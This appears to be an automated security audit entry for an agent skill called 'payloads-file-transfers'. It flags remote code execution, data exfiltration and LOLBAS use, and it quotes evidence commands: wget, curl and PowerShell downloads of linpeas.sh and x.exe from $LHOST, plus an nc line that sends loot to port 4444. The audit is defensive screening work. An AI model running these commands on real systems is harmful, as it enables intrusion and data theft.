The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill contains templates for downloading and staging executable scripts from a remote server controlled by the user.
Evidence: wget http://$LHOST/linpeas.sh -O /tmp/l.sh in SKILL.md
Evidence: curl http://$LHOST/linpeas.sh -o /tmp/l.sh in SKILL.md
Evidence: powershell iwr http://$LHOST/x.exe -o C:\Windows\Temp\x.exe in SKILL.md
[DATA_EXFILTRATION]: The skill documents procedures for moving data from a target host to an external listener.
Evidence: nc $LHOST 4444 < /path/loot in SKILL.md
Evidence: base64 -w0 /path/loot described as a method for exfiltration in SKILL.md
[COMMAND_EXECUTION]: The skill makes use of powerful system binaries (LOLBAS) to facilitate file movement and network communication.
Evidence: Instructions for using certutil, bitsadmin, powershell, and python to download files from remote locations.

payloads-file-transfers